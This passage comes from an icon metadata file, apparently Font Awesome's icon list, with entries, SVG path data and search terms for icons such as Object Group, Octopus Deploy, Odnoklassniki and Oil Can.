.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M104.324,269.172h26.067V242.994H104.324Zm52.466-26.178-.055-26.178v-.941a39.325,39.325,0,0,0-78.644.941v.166h26.4v-.166a12.98,12.98,0,0,1,25.956,0v26.178Zm52.356,25.846a91.1,91.1,0,0,1-91.1,91.1h-.609a91.1,91.1,0,0,1-91.1-91.1H0v.166A117.33,117.33,0,0,0,117.44,386.28h.775A117.331,117.331,0,0,0,235.49,268.84V242.828H209.146Zm-157.233,0a65.362,65.362,0,0,0,130.723,0H156.292a39.023,39.023,0,0,1-78.035,0V242.883H51.968v-26.62A65.42,65.42,0,0,1,182.8,217.48v25.293h26.344V217.48a91.761,91.761,0,0,0-183.522,0v25.4H51.913Zm418.4-71.173c13.67,0,24.573,6.642,30.052,18.264l.719,1.549,23.245-11.511-.609-1.439c-8.025-19.26-28.5-31.27-53.407-31.27-23.134,0-43.611,11.4-50.972,28.447-.123,26.876-.158,23.9,0,24.85,4.7,11.013,14.555,19.37,28.668,24.241a102.033,102.033,0,0,0,19.813,3.984c5.479.72,10.626,1.384,15.829,3.1,6.364,2.1,10.46,5.257,12.84,9.851v9.851c-3.708,7.527-13.781,12.342-25.791,12.342-14.334,0-25.956-6.918-31.933-19.039l-.72-1.494L415.026,280.9l.553,1.439c7.915,19.426,29.609,32.044,55.289,32.044,23.632,0,44.608-11.4,52.3-28.447l.166-25.9-.166-.664c-4.87-11.014-15.219-19.647-28.944-24.241-7.693-2.712-14.335-3.6-20.7-4.427a83.777,83.777,0,0,1-14.832-2.878c-6.31-1.937-10.4-5.092-12.619-9.63v-8.412C449.45,202.427,458.969,197.667,470.315,197.667ZM287.568,311.344h26.067v-68.4H287.568Zm352.266-53.3c-2.933-6.254-8.3-12.01-15.441-16.714A37.99,37.99,0,0,0,637.4,226l.166-25.347-.166-.664C630.038,184,610.667,173.26,589.25,173.26S548.461,184,541.1,199.992l-.166,25.347.166.664a39.643,39.643,0,0,0,13.006,15.331c-7.2,4.7-12.508,10.46-15.441,16.714l-.166,28.889.166.72c7.582,15.994,27.893,26.731,50.585,26.731s43.057-10.737,50.584-26.731l.166-28.89Zm-73.22-50.806c3.6-6.31,12.563-10.516,22.58-10.516s19.038,4.206,22.636,10.516v13.725c-3.542,6.2-12.563,10.349-22.636,10.349s-19.094-4.15-22.58-10.349Zm47.319,72.169c-3.764,6.641-13.338,10.9-24.683,10.9-11.125,0-20.976-4.372-24.684-10.9V263.25c3.708-6.309,13.5-10.515,24.684-10.515,11.345,0,20.919,4.15,24.683,10.515ZM376.4,265.962l-59.827-89.713h-29v40.623h26.51v.387l62.539,94.085H402.3V176.249H376.4Z" + } + }, + "free": [ + "brands" + ] + }, + "nutritionix": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3d6", + "label": "Nutritionix", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861009, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 512\"><path d=\"M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "400", + "512" + ], + "width": 400, + "height": 512, + "path": "M88 8.1S221.4-.1 209 112.5c0 0 19.1-74.9 103-40.6 0 0-17.7 74-88 56 0 0 14.6-54.6 66.1-56.6 0 0-39.9-10.3-82.1 48.8 0 0-19.8-94.5-93.6-99.7 0 0 75.2 19.4 77.6 107.5 0 .1-106.4 7-104-119.8zm312 315.6c0 48.5-9.7 95.3-32 132.3-42.2 30.9-105 48-168 48-62.9 0-125.8-17.1-168-48C9.7 419 0 372.2 0 323.7 0 275.3 17.7 229 40 192c42.2-30.9 97.1-48.6 160-48.6 63 0 117.8 17.6 160 48.6 22.3 37 40 83.3 40 131.7zM120 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM192 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM264 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zM336 428c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm0-66.2c0-15.5-12.5-28-28-28s-28 12.5-28 28 12.5 28 28 28 28-12.5 28-28zm24-39.6c-4.8-22.3-7.4-36.9-16-56-38.8-19.9-90.5-32-144-32S94.8 180.1 56 200c-8.8 19.5-11.2 33.9-16 56 42.2-7.9 98.7-14.8 160-14.8s117.8 6.9 160 14.8z" + } + }, + "free": [ + "brands" + ] + }, + "object-group": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "combine", + "copy", + "design", + "merge", + "select" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f247", + "label": "Object Group", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635613, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M480 128V96h20c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v20H64V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v40c0 6.627 5.373 12 12 12h20v320H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-20h384v20c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-20V128zM96 276V140c0-6.627 5.373-12 12-12h168c6.627 0 12 5.373 12 12v136c0 6.627-5.373 12-12 12H108c-6.627 0-12-5.373-12-12zm320 96c0 6.627-5.373 12-12 12H236c-6.627 0-12-5.373-12-12v-52h72c13.255 0 24-10.745 24-24v-72h84c6.627 0 12 5.373 12 12v136z" + }, + "regular": { + "last_modified": 1628088634927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "object-ungroup": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "copy", + "design", + "merge", + "select", + "separate" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f248", + "label": "Object Ungroup", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635613, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M64 320v26a6 6 0 0 1-6 6H6a6 6 0 0 1-6-6v-52a6 6 0 0 1 6-6h26V96H6a6 6 0 0 1-6-6V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v26h288V38a6 6 0 0 1 6-6h52a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-26v192h26a6 6 0 0 1 6 6v52a6 6 0 0 1-6 6h-52a6 6 0 0 1-6-6v-26H64zm480-64v-32h26a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-52a6 6 0 0 0-6 6v26H408v72h8c13.255 0 24 10.745 24 24v64c0 13.255-10.745 24-24 24h-64c-13.255 0-24-10.745-24-24v-8H192v72h-26a6 6 0 0 0-6 6v52a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-26h288v26a6 6 0 0 0 6 6h52a6 6 0 0 0 6-6v-52a6 6 0 0 0-6-6h-26V256z" + }, + "regular": { + "last_modified": 1628088634927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "octopus-deploy": { + "changes": [ + "5.15.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e082", + "label": "Octopus Deploy", + "voted": false, + "svg": { + "brands": { + "last_modified": 1603226785924, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M455.6,349.2c-45.891-39.09-36.67-77.877-16.095-128.11C475.16,134.04,415.967,34.14,329.93,8.3,237.04-19.6,134.252,24.341,99.677,117.147a180.862,180.862,0,0,0-10.988,73.544c1.733,29.543,14.717,52.97,24.09,80.3,17.2,50.161-28.1,92.743-66.662,117.582-46.806,30.2-36.319,39.857-8.428,41.858,23.378,1.68,44.478-4.548,65.265-15.045,9.2-4.647,40.687-18.931,45.13-28.588C135.9,413.388,111.122,459.5,126.621,488.9c19.1,36.229,67.112-31.77,76.709-45.812,8.591-12.572,42.963-81.279,63.627-46.926,18.865,31.361,8.6,76.391,35.738,104.622,32.854,34.2,51.155-18.312,51.412-44.221.163-16.411-6.1-95.852,29.9-59.944C405.428,418,436.912,467.8,472.568,463.642c38.736-4.516-22.123-67.967-28.262-78.695,5.393,4.279,53.665,34.128,53.818,9.52C498.234,375.678,468.039,359.8,455.6,349.2Z" + } + }, + "free": [ + "brands" + ] + }, + "odnoklassniki": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f263", + "label": "Odnoklassniki", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861009, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M275.1 334c-27.4 17.4-65.1 24.3-90 26.9l20.9 20.6 76.3 76.3c27.9 28.6-17.5 73.3-45.7 45.7-19.1-19.4-47.1-47.4-76.3-76.6L84 503.4c-28.2 27.5-73.6-17.6-45.4-45.7 19.4-19.4 47.1-47.4 76.3-76.3l20.6-20.6c-24.6-2.6-62.9-9.1-90.6-26.9-32.6-21-46.9-33.3-34.3-59 7.4-14.6 27.7-26.9 54.6-5.7 0 0 36.3 28.9 94.9 28.9s94.9-28.9 94.9-28.9c26.9-21.1 47.1-8.9 54.6 5.7 12.4 25.7-1.9 38-34.5 59.1zM30.3 129.7C30.3 58 88.6 0 160 0s129.7 58 129.7 129.7c0 71.4-58.3 129.4-129.7 129.4s-129.7-58-129.7-129.4zm66 0c0 35.1 28.6 63.7 63.7 63.7s63.7-28.6 63.7-63.7c0-35.4-28.6-64-63.7-64s-63.7 28.6-63.7 64z" + } + }, + "free": [ + "brands" + ] + }, + "odnoklassniki-square": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f264", + "label": "Odnoklassniki Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861009, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z" + } + }, + "free": [ + "brands" + ] + }, + "oil-can": { + "changes": [ + "5.2.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "auto", + "crude", + "gasoline", + "grease", + "lubricate", + "petroleum" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f613", + "label": "Oil Can", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635614, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M629.8 160.31L416 224l-50.49-25.24a64.07 64.07 0 0 0-28.62-6.76H280v-48h56c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h56v48h-56L37.72 166.86a31.9 31.9 0 0 0-5.79-.53C14.67 166.33 0 180.36 0 198.34v94.95c0 15.46 11.06 28.72 26.28 31.48L96 337.46V384c0 17.67 14.33 32 32 32h274.63c8.55 0 16.75-3.42 22.76-9.51l212.26-214.75c1.5-1.5 2.34-3.54 2.34-5.66V168c.01-5.31-5.08-9.15-10.19-7.69zM96 288.67l-48-8.73v-62.43l48 8.73v62.43zm453.33 84.66c0 23.56 19.1 42.67 42.67 42.67s42.67-19.1 42.67-42.67S592 288 592 288s-42.67 61.77-42.67 85.33z" + } + }, + "free": [ + "solid" + ] + }, + "old-republic": { + "changes": [ + "5.0.12" + ], + "ligatures": [], + "search": { + "terms": [ + "politics", + "star wars" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f510", + "label": "Old Republic", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861009, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 